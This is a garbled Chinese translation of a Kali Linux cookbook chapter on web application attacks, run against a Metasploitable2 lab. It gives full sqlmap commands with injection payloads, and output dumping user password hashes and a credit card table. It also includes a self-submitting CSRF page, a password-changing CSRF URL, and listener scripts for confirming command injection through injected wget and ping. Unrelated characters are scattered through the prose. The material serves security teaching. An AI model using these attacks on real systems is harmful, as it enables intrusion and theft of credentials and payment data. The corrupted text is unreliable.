Kali Linux 網(wǎng)絡掃描秘籍 第七章 Web 應用掃描(三)

第七章 Web 應用掃描(三)

作者:Justin Hutchens

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

7.13 使用 BurpSuite Sequencer(序列器)

Web 應用會話通常由會話 ID 標識來維護馍盟,它由隨機或偽隨機值組成。出于這個原因,隨機性通常是這些應用的安全的關鍵。這個秘籍中,我們會討論如何使用 BurpSuite Sequencer 來收集生成的值寡键,并測試它們的隨機性心包。

準備

為了使用 BurpSuite 對目標執(zhí)行 Web 應用分析,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)丐谋。所提供的例子中,我們使用 Metasploitable2 實例來完成任務煌珊。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用号俐,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍定庵。

此外吏饿,你的 Web 瀏覽器需要配置來通過 BurpSuite 本地實例代理 Web 流量。關于將 BurpSuite 用作瀏覽器代理的更多信息蔬浙,請參考第一章的“配置 BurpSuite”一節(jié)猪落。

操作步驟

為了使用 BurpSuite Sequencer,響應必須包含Set-Cookie協(xié)議頭畴博,或者其它偽隨機數(shù)的值笨忌,測試需要它們來發(fā)送。這可以通過HTTP 代理歷史或者先于瀏覽器的響應攔截來完成俱病,像這樣:

Burp 會自動使用響應中的所有 Cookie 值填充 Cookie 下拉菜單官疲。作為替代,你可以使用Custom location字段亮隙,之后點擊Configure按鈕來指定響應中的任何位置用于測試途凫,像這樣:

在確定需要測試的值之后,點擊Start live capture按鈕溢吻,這會開始提交大量請求來獲得參數(shù)的附加值维费。這個例子中,Burp 會提交大量請求促王,并將 PHPSESSID 從請求中去除犀盟。這會導致服務器為每個請求生成新的會話標識。這樣一來蝇狼,我們就可以獲得樣本值且蓬,它們可以用于完成 FIPS 測試。FIPS 測試由一系列測試組成题翰,它們會評估所生成的偽隨機數(shù)的熵。所有這些測試會以圖形格式展示诈胜,使其十分易懂豹障,像這樣:

對于高準確率和徹底的 FIPS 測試來說,總共需要 20000 個值焦匈。但是分析最少可以以 100 個值來執(zhí)行血公。除了執(zhí)行實時捕獲之外,Manual load標簽頁可以用于為測試上傳或粘貼值的列表缓熟。

工作原理

BurpSuite Sequencer 對偽隨機數(shù)樣本執(zhí)行大量不同的數(shù)學評估累魔,根據(jù)所生成隨機數(shù)的熵嘗試判斷其質量摔笤。實時捕獲可用于生成樣本值,它通過提交事先構造的請求垦写,并導致服務器指派新的值吕世。這通常通過從請求中移除現(xiàn)有Cookie值,從而使響應以新的Set-Cookie協(xié)議頭的形式梯投,提供新的會話標識來完成命辖。

7.14 使用 sqlmap 注入 GET 方法

Web 應用常常接受所提供 URL 內的參數(shù)。這些參數(shù)通常以 HTTP GET 方法傳給服務器分蓖。如果任何這些參數(shù)隨后包含在發(fā)給后端數(shù)據(jù)庫的查詢語句中尔艇,SQL 注入漏洞就可能存在。我們會討論如何使用 sqlmap 來自動化 HTTP GET 方法請求參數(shù)的測試么鹤。

準備

為了使用 sqlmap 對目標執(zhí)行 Web 應用分析终娃,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)。所提供的例子中蒸甜,我們使用 Metasploitable2 實例來完成任務棠耕。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用,運行在 TCP 80 端口上迅皇。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍昧辽。

操作步驟

為了使用 sqlmap 來測試 HTTP GET 方法參數(shù),你需要使用-u參數(shù)以及要測試的 URL登颓。這個 URL 應該包含任何 GET 方法參數(shù)搅荞。此外,如果 Web 內容僅僅通過建立的會話來方法框咙,還需要使用--cookie提供與會話對應的 Cookie咕痛。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 
                                ** {CUT} ** 
sqlmap identified the following injection points with a total of 279 HTTP(s) requests: 
--
Place: GET 
Parameter: id
    Type: boolean-based blind    
    Title: OR boolean-based blind - WHERE or HAVING clause    
    Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y
    
    Type: error-based    
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    
    Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y
    
    Type: UNION query    
    Title: MySQL UNION query (NULL) - 2 columns    
    Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y
    
    Type: AND/OR time-based blind    
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)    
    Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y 
--

                            ** {TRUNCATED} ** 

上面的例子使用了risk3level5。這些值定義了所執(zhí)行測試的風險性和徹底性喇嘱。更多risklevel的信息請參考 sqlmap 手冊頁和幫助文件坑资。執(zhí)行測試時眯牧,sqlmap 會快速將后端數(shù)據(jù)庫識別為 MySQL,并跳過其它測試。如果沒有指定任何操作闻坚,sqlmap 會僅僅判斷是否任何參數(shù)存在漏洞,像上個例子那樣振湾。在一系列注入嘗試之后暇务,sqlmap 判斷出ID參數(shù)存在多種類型的 SQL 注入漏洞。在確認漏洞之后拿撩,sqlmap 會執(zhí)行操作來提取后端數(shù)據(jù)庫的信息衣厘。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dbs 
                            ** {CUT} ** 

--
[03:38:00] [INFO] the back-end DBMS is MySQL 
web server operating system: Linux Ubuntu 8.04 (Hardy Heron) 
web application technology: PHP 5.2.4, Apache 2.2.8 
back-end DBMS: MySQL 5.0 
[03:38:00] [INFO] fetching database names 
[03:38:00] [WARNING] reflective value(s) found and filtering out 
available databases [7]: 
[*] dvwa
[*] information_schema 
[*] metasploit 
[*] mysql 
[*] owasp10 
[*] tikiwiki 
[*] tikiwiki195
                            ** {TRUNCATED} ** 

在上面的例子中,--dbs參數(shù)用于枚舉所有可用的,能通過 SQL 注入訪問的數(shù)據(jù)庫影暴。通過名稱來判斷错邦,它表明列出的數(shù)據(jù)庫直接對應 DVWA 的應用。我們之后可以直接對數(shù)據(jù)庫執(zhí)行操作型宙。為了提取 DWVA 數(shù)據(jù)庫的所有表的名稱撬呢,我們可以使用--tables參數(shù)來讓 sqlmap 提取表名稱,之后使用-D參數(shù)指定需要提取的數(shù)據(jù)庫(dvwa)早歇。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --tables -D dvwa 
                            ** {CUT} ** 
Database: dvwa 
[2 tables] 
+-----------+ 
| guestbook | 
| users     | 
+-----------+ 
                            ** {TRUNCATED} ** 

這樣做倾芝,我們可以看到 DVWA 數(shù)據(jù)庫中有兩個表。這些表包括guestbookusers箭跳。用戶表通常值得提取晨另,因為它通常包含用戶名和相關的密碼哈希。為了從某個指定表中提取信息谱姓,我們可以使用--dump參數(shù)借尿,之后使用-D參數(shù)來指定數(shù)據(jù)庫,-T參數(shù)來指定提取哪個表的內容屉来。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dump -D dvwa -T users 
                            ** {CUT} ** 
do you want to crack them via a dictionary-based attack? [Y/n/q] Y 
[03:44:03] [INFO] using hash method 'md5_generic_passwd' 
what dictionary do you want to use?
[1] default dictionary file './txt/wordlist.zip' (press Enter) 
[2] custom dictionary file 
[3] file with list of dictionary files 
> 
[03:44:08] [INFO] using default dictionary 
do you want to use common password suffixes? (slow!) [y/N] N 
                                ** {CUT} ** 
Database: dvwa 
Table: users 
[5 entries] 
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+ 
| user_id | user    | avatar                                                 | password                                    | last_name | first_name | 
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+ 
| 1       | admin   | http://192.168.223.132/dvwa/hackable/users/admin. jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 
| 2       | gordonb | http://192.168.223.132/dvwa/hackable/users/gordonb. jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 
| 3       | 1337    | http://192.168.223.132/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 
| 4       | pablo   | http://192.168.223.132/dvwa/hackable/users/pablo. jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 
| 5       | smithy  | http://192.168.223.132/dvwa/hackable/users/smithy. jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+ 
                                ** {TRUNCATED} **

在識別表的內容中存在密碼哈希之后路翻,sqlmap 會提供選項,詢問用戶是否使用內置的密碼破解器來對枚舉密碼哈希執(zhí)行字典攻擊茄靠。這可以使用內置單詞列表茂契,自定義單詞列表,或者一系列單詞列表來執(zhí)行慨绳。在執(zhí)行字典攻擊之后掉冶,我們可以看到表的內容包含用戶 ID,用戶頭像的位置脐雪,MD5 哈希厌小,哈希的純文本附加值(鹽),以及用戶姓名战秋。

工作原理

sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求璧亚。它在近幾年間已經(jīng)高度優(yōu)化,并給予之前查詢的響應來智能調整注入脂信。在 HTTP GET 參數(shù)上執(zhí)行 SQL 注入非常繁瑣癣蟋,因為修改內容要經(jīng)過請求 URL 。

7.15 使用 sqlmap 注入 POST 方法

sqlmap 是 Kali 中的集成命令行工具狰闪,它通過自動化整個流程梢薪,極大降低了手動利用 SQL 注入漏洞所需的經(jīng)歷總量。這個秘籍中尝哆,我們會討論如何使用 sqlmap 來自動化 HTTP POST 請求參數(shù)的測試。

準備

為了使用 sqlmap 對目標執(zhí)行 Web 應用分析甜攀,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)秋泄。所提供的例子中琐馆,我們使用 Metasploitable2 實例來完成任務。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用恒序,運行在 TCP 80 端口上瘦麸。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

為了在使用 HTTP POST 方法的服務上指定 SQL 注入歧胁,我們需要使用--data參數(shù)來指定 POST 參數(shù)字符串滋饲。Mutillidae 的登錄應用提供了一個登錄頁面,它通過 POST 方法傳遞用戶名和密碼喊巍。它就是我們的 SQL 注入攻擊目標屠缭。看看下面的例子:

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --level=5 --risk=3 
                        ** {CUT} ** 
sqlmap identified the following injection points with a total of 267 HTTP(s) requests:
--
Place: POST 
Parameter: username    
    Type: boolean-based blind    
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)    
    Payload: username=-8082' OR (4556=4556)#&password=pass&login-phpsubmit-button=Login
    
    Type: error-based    
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause    
    Payload: username=user' AND (SELECT 3261 FROM(SELECT COUNT(*),CONCAT( 0x3a61746d3a,(SELECT (CASE WHEN (3261=3261) THEN 1 ELSE 0 END)),0x3a76676 23a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) a) AND 'MraR'='MraR&password=pass&login-php-submit-button=Login 
--
[04:14:10] [INFO] the back-end DBMS is MySQL 
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8 
back-end DBMS: MySQL 5.0 
                        ** {TRUNCATED} ** 

如果沒有指定操作崭参,sqlmap 僅僅會判斷是否任何參數(shù)存在漏洞呵曹,像上面的例子那樣。在一系列注入嘗試之后何暮,sqlmap 判斷出用戶名 POST 參數(shù)存在boolean-blinderror-based漏洞奄喂。在確認漏洞之后,sqlmap 會執(zhí)行操作海洼,開始從后端數(shù)據(jù)庫提取信息跨新。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dbs 
                        ** {CUT} ** 
available databases [7]: 
[*] dvwa 
[*] information_schema 
[*] metasploit 
[*] mysql 
[*] owasp10 
[*] tikiwiki 
[*] tikiwiki195 
                        ** {TRUNCATED} **

在上面的例子中,--dbs參數(shù)用于枚舉所有可用的坏逢,可通過 SQL 注入訪問的數(shù)據(jù)庫域帐。我們隨后可以對特定數(shù)據(jù)庫直接執(zhí)行操作。為了提取owasp10數(shù)據(jù)庫中的所有表的名稱词疼,我們可以使用--tables參數(shù)讓 sqlmap 提取表名稱俯树。之后使用-D參數(shù)來指定從哪個數(shù)據(jù)庫(owasp10)提取名稱。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --tables -D owasp10 
                    ** {CUT} ** 
Database: owasp10 
[6 tables] 
+----------------+ 
| accounts       | 
| blogs_table    | 
| captured_data  | 
| credit_cards   | 
| hitlog         | 
| pen_test_tools | 
+----------------+ 
                    ** {TRUNCATED} ** 

這樣做贰盗,我們就可以看到许饿,owasp10數(shù)據(jù)庫中存在六個表。這些表包含accounts, blog_table, captured_data, credit_cards, hitlog, and pen_test_tools舵盈。最明顯的表名稱是credit_cards陋率。為了提取某個指定表的內容,我們可以使用--dump參數(shù)秽晚,之后使用-D參數(shù)來指定數(shù)據(jù)庫瓦糟,-T參數(shù)來指定從哪個表中提取內容。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dump -D owasp10 -T credit_cards 
                    ** {CUT} ** 
Database: owasp10 
Table: credit_cards 
[5 entries] 
+------+-----+------------------+------------+ 
| ccid | ccv | ccnumber         | expiration | +------+-----+------------------+------------+ 
| 1    | 745 | 4444111122223333 | 2012-03-01 |
| 2    | 722 | 7746536337776330 | 2015-04-01 | 
| 3    | 461 | 8242325748474749 | 2016-03-01 | 
| 4    | 230 | 7725653200487633 | 2017-06-01 | 
| 5    | 627 | 1234567812345678 | 2018-11-01 | +------+-----+------------------+------------+ 
                    ** {TRUNCATED} **

工作原理

sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求赴蝇。它在近幾年間已經(jīng)高度優(yōu)化菩浙,并給予之前查詢的響應來智能調整注入。在 HTTP POST 參數(shù)上執(zhí)行 SQL 注入的原理是操作添加到 POST 方法請求末尾的數(shù)據(jù)。

7.16 使用 sqlmap 注入捕獲的請求

為了簡化 sqlmap 的使用流程劲蜻,可以使用來自 BurpSuite 的捕獲請求并使用定義在其中的所有參數(shù)和配置來執(zhí)行 sqlmap陆淀。在這個秘籍中,我們會討論如何使用 sqlmap 來測試和所捕獲請求相關的參數(shù)先嬉。

準備

為了使用 sqlmap 對目標執(zhí)行 Web 應用分析轧苫,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)。所提供的例子中疫蔓,我們使用 Metasploitable2 實例來完成任務含懊。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用,運行在 TCP 80 端口上衅胀。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍岔乔。

操作步驟

為了在 sqlmap 中使用捕獲的請求,必須首先將其保存為文本格式拗小。為了這樣做重罪,右擊 BurpSuite 中的請求內容之后選擇Copy to file。保存之后哀九,你就可以通過瀏覽器目錄并使用cat命令來驗證文件內容剿配。

root@KaliLinux:~# cat dvwa_capture 
GET /dvwa/vulnerabilities/sqli_blind/?id=test_here&Submit=Submit HTTP/1.1
Host: 172.16.36.135 
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://172.16.36.135/dvwa/vulnerabilities/sqli_blind/ 
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c 
Connection: keep-alive 

為了使用捕獲的請求,以 -r參數(shù)執(zhí)行 sqlmap阅束,值為文件的絕對路徑呼胚。這個方式通常會極大降低在sqlmap命令中需要提供的信息量,因為需要提供的多數(shù)信息都包含在文件里了息裸∮看看下面的例子:

oot@KaliLinux:~# sqlmap -r /root/dvwa_capture --level=5 --risk=3 -p id
[*] starting at 16:44:09
[16:44:09] [INFO] parsing HTTP request from '/root/dvwa_capture' 

在上面的例子中,不需要向 sqlmap 傳遞任何 Cookie 值呼盆,因為 Cookie 值已經(jīng)定義在捕獲的請求中了年扩。當 sqlmap 運行時,捕獲文件中的 Cookie 會自動在所有請求中使用访圃,像這樣:

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N 
sqlmap identified the following injection points with a total of 487 HTTP(s) requests: 
--
Place: GET 
Parameter: id
    Type: boolean-based blind 
    Title: OR boolean-based blind - WHERE or HAVING clause    
    Payload: id=-8210' OR (7740=7740) AND 'ZUCk'='ZUCk&Submit=Submit
    
    Type: UNION query    
    Title: MySQL UNION query (NULL) - 2 columns    
    Payload: id=test_here' UNION ALL SELECT NULL,CONCAT(0x3a6f63723a,0x67 744e67787a6157674e,0x3a756c753a)#&Submit=Submit
    
    Type: AND/OR time-based blind    
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)    
    Payload: id=test_here' AND 4329=BENCHMARK(5000000,MD5(0x486a7a4a)) AND 'ARpD'='ARpD&Submit=Submit 

sqlmap 能夠測試捕獲請求中的所有識別的 GET 方法參數(shù)厨幻。這里,我們可以看到腿时,ID參數(shù)存在多個 SQL 注入漏洞况脆。

工作原理

sqlmap 能夠接受捕獲的請求,來解析請求的內容并是被任何可測試的參數(shù)批糟。這讓 sqlmap 能夠高效執(zhí)行格了,而不需要花費額外的經(jīng)歷來傳遞攻擊所需的所有參數(shù)。

7.17 自動化 CSRF 測試

跨站請求偽造(CSRF)是最難以理解的 Web 應用漏洞之一徽鼎。無論如何盛末,不能夠識別這類漏洞會危害 Web 應用和它的用戶弹惦。這個秘籍中,我們會討論如何測試 GET 和 POST 方法中的 CSRF 漏洞悄但。

準備

為了對目標執(zhí)行 CSRF 測試肤频,你需要擁有運行一個或多個含有 CSRF 漏洞的 Web 應用的遠程系統(tǒng)。所提供的例子中算墨,我們使用 Metasploitable2 實例來完成任務。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用汁雷,運行在 TCP 80 端口上净嘀。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

操作步驟

CSRF 可能會出現(xiàn)在 GET 或 POST 方法的事務中侠讯,DVWA 提供了 GET 方法 CSRF 漏洞的一個良好示例挖藏。應用允許用戶通過 GET 方法提交新的值兩次來更新密碼。

GET /dvwa/vulnerabilities/csrf/?password_new=password&password_ conf=password&Change=Change HTTP/1.1 
Host: 172.16.36.135 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://172.16.36.135/dvwa/vulnerabilities/csrf/ 
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c 

由于缺少 CSRF 控制厢漩,我們嘗試利用這個漏洞膜眠。如果 Web 應用的用戶被引誘來訪問某個 URL,其中含有預先配置的password_ newpassword_ conf值溜嗜,攻擊者就能強迫受害者將密碼修改為攻擊者的選擇宵膨。下面的 URL 是個利用的示例。如果受害者訪問了這個鏈接炸宵,它們的密碼會被修改為compromised辟躏。

http://172.16.36.135/dvwa/vulnerabilities/csrf/?password_ new=compromised&password_conf=compromised&Change=Change#

但是,這種可以簡單利用的 CSRF 漏洞很少存在土全。這是因為多數(shù)開發(fā)者對安全擁有起碼的終止捎琐,不會使用 GET 方法參數(shù)來執(zhí)行安全事務。POST 方法 CSRF 的一個例子是 Mutillidae 應用的 blog功能裹匙,像這樣:

POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1 
Host: 172.16.36.135 
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://172.16.36.135/mutillidae/index.php?page=add-to-your-blog. php 
Cookie: username=Victim; uid=17; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7 b0c 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 98

csrf-token=SecurityIsDisabled&blog_entry=This+is+my+blog+entry&add-toyour-blog-php-submit-button=Save+Blog+Entry

上面的例子中瑞凑,我們可以看到,驗證用戶所提交的blog入口通過blog_entryPOST 方法參數(shù)傳遞概页。為了利用這個 CSRF 控制的缺失籽御,攻擊者需要構造惡意頁面,它能導致受害者提交所需的參數(shù)绰沥。下面是個 POST 方法 CSRF 攻擊的例子:

<html> 
<head>        
    <title></title> 
</head> 
<body>        
    <form name="csrf" method="post" action="http://172.16.36.135/ mutillidae/index.php?page=add-t$                
        <input type="hidden" name="csrf-token" value="SecurityIsDisabled" />                
        <input type="hidden" name="blog_entry" value="HACKED" />                
        <input type="hidden" name="add-to-your-blog-phpsubmit-button" value="Save+Blog+Entr$        
    </form>        
    <script type="text/javascript">                
        document.csrf.submit();        
    </script> </body> </html> 

這個惡意 Web 頁面使用了 HTML 表單篱蝇,它將多個隱藏的輸入字段返回給服務器,這些字段對應 Mutillidae 應用的blog入口提交請求所需的相同輸入徽曲。此外零截,JS 用于提交表單。所有這些事情在受害者不執(zhí)行任何操作的情況下就會發(fā)生秃臣〗а茫考慮下面的例子:

root@KaliLinux:~# mv CSRF.html /var/www/ 
root@KaliLinux:~# /etc/init.d/apache2 start 
[....] Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName 
. ok

為了部署這個惡意 Web 內容哪工,應該將其移動到 Web 根目錄下。在 Kali 中弧哎,默認的 Apache Web 根目錄是/var/www/雁比。同樣,確保 Apache2 服務已打開撤嫩。像這樣:

當驗證后的受害者瀏覽器惡意頁面時偎捎,受害者會自動重定向到 Mutillidae 博客應用,并提交博客入口HACKED序攘。

工作原理

CSRF 的成因是請求最終由用戶的會話生成茴她。這個攻擊利用受害者瀏覽器已經(jīng)和遠程 Web 服務器建立連接的信任。在 GET 方法 CSRF 的例子中程奠,受害者被誘導訪問某個 URL丈牢,其中的參數(shù)為惡意事務而定義。在 POST 方法 CSRF 的例子中瞄沙,受害者被誘導瀏覽定義了參數(shù)的頁面己沛,這些參數(shù)隨后會由受害者的瀏覽器轉發(fā)給漏洞服務器,來指定惡意事務距境。在每個例子中申尼,事務由于請求來自受害者的瀏覽器而被執(zhí)行,受害者已經(jīng)和漏洞服務器建立了可信的會話肮疗。

7.18 使用 HTTP 流量驗證命令注入漏洞

命令注入可能是移植 Web 應用攻擊向量中最危險的漏洞了晶姊。多數(shù)攻擊者嘗試利用該漏洞,以期望它們最后能夠在底層 OS 上執(zhí)行任意的代碼伪货。命令執(zhí)行漏洞提供了無需額外步驟的可能们衙。這個秘籍中,我們會討論如何使用 Web 服務器日志或自定義 Web 服務腳本來確認命令執(zhí)行漏洞碱呼。

準備

為了對目標執(zhí)行命令注入漏洞測試蒙挑,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應用的遠程系統(tǒng)。所提供的例子中愚臀,我們使用 Metasploitable2 實例來完成任務忆蚀。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用,運行在 TCP 80 端口上姑裂。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍馋袜。

此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器舶斧,將腳本寫到文件系統(tǒng)欣鳖。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。

操作步驟

通過執(zhí)行命令茴厉,強迫后端系統(tǒng)和 Web 服務器交互泽台,我們就能夠驗證 Web 應用中的命令注入漏洞什荣。日志可以作為漏洞服務器和它交互的證據(jù)。作為替代怀酷,可以編寫一個自定義腳本來生成一個臨時的 Web 服務稻爬,它可以監(jiān)聽外部連接,并打印接收到的請求蜕依。下面的 Python 代碼完成了這件事情:

#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
httprecv.bind(("0.0.0.0",8000)) 
httprecv.listen(2)

(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip 
data = client.recv(4096) 
print str(data)

client.close() 
httprecv.close() 

一旦執(zhí)行腳本桅锄,我們需要強迫目標服務器和監(jiān)聽服務交互,來確認命令注入漏洞样眠。DWVA 應用擁有ping功能竞滓,可以用于 ping 一個指定 IP 地址。用戶輸入直接傳遞給系統(tǒng)調用吹缔,可以修改來執(zhí)行底層 OS 的任意命令、我們可以通過使用分號來添加多個命令锯茄,每個命令依次排列厢塘,像這樣:

在上面的例子中,輸入用于 ping 127.0.0.1肌幽,并且對http://172.16.36.224:8000執(zhí)行wget晚碾。wget請求對應臨時的 Python 監(jiān)聽服務。在提交輸入后喂急,我們可以通過參考腳本的輸入來驗證命令執(zhí)行:

root@KaliLinux:~# ./httprecv.py 
Received connection from :  172.16.36.135 
GET / HTTP/1.0 
User-Agent: Wget/1.10.2 
Accept: */* Host: 172.16.36.224:8000 
Connection: Keep-Alive 

工作原理

Python 腳本用于確認命令執(zhí)行漏洞格嘁,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標服務器上執(zhí)行。載荷輸入到服務器的時候廊移,不可能同時執(zhí)行相似的請求糕簿。但是,即使載荷并不是被檢測到的流量的真正來源狡孔,我們也可以輕易嘗試多次來排除錯誤情況懂诗。

7.19 使用 ICMP 流量 來驗證命令注入

命令注入可能是移植 Web 應用攻擊向量中最危險的漏洞了。多數(shù)攻擊者嘗試利用該漏洞苗膝,以期望它們最后能夠在底層 OS 上執(zhí)行任意的代碼殃恒。命令執(zhí)行漏洞提供了無需額外步驟的可能。這個秘籍中辱揭,我們會討論如何使用 ICMP 流量來編寫用于確認命令執(zhí)行漏洞的自定義腳本离唐。

準備

為了對目標執(zhí)行命令注入漏洞測試,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應用的遠程系統(tǒng)问窃。所提供的例子中亥鬓,我們使用 Metasploitable2 實例來完成任務。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用泡躯,運行在 TCP 80 端口上贮竟。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍丽焊。

此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器咕别,將腳本寫到文件系統(tǒng)技健。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。

操作步驟

通過執(zhí)行命令惰拱,強迫后端系統(tǒng)發(fā)送 ICMP 流量給監(jiān)聽服務雌贱,我們可以驗證 Web 應用中的命令注入漏洞。接收到的 ICMP 回響請求可以用于識別漏洞系統(tǒng)偿短。下面是一段 Python 代碼欣孤,使用 Scapy 庫來實現(xiàn):

#!/usr/bin/python

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
from scapy.all import *

def rules(pkt):   
    try:      
        if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):         
            print str(pkt[IP].src) + " is exploitable"   
    except:      
        pass

print "Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening"

sniff(lfilter=rules,store=0)

在 ICMP 監(jiān)聽器執(zhí)行之后,我們需要嘗試從漏洞服務器向監(jiān)聽服務發(fā)送 ICMP 回響請求昔逗。這可以通過將ping命令注入到存在命令注入漏洞的用戶輸入來完成降传。在 Mutillidae 中,執(zhí)行 DNS 枚舉的功能存在漏洞勾怒,它直接將用戶輸入傳遞給系統(tǒng)調用婆排。通過使用分號,單獨的ping請求可以追加到用戶輸入后面笔链。

假設服務器存在命令注入漏洞段只,Python 監(jiān)聽器會提示收到了 ICMP 回響請求,而且目標服務器可能存在漏洞鉴扫。

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening 
172.16.36.135 is exploitable

工作原理

Python 腳本用于確認命令執(zhí)行漏洞赞枕,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標服務器上執(zhí)行。載荷輸入到服務器的時候坪创,不可能同時執(zhí)行相似的請求炕婶。但是,即使載荷并不是被檢測到的流量的真正來源莱预,我們也可以輕易嘗試多次來排除錯誤情況古话。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
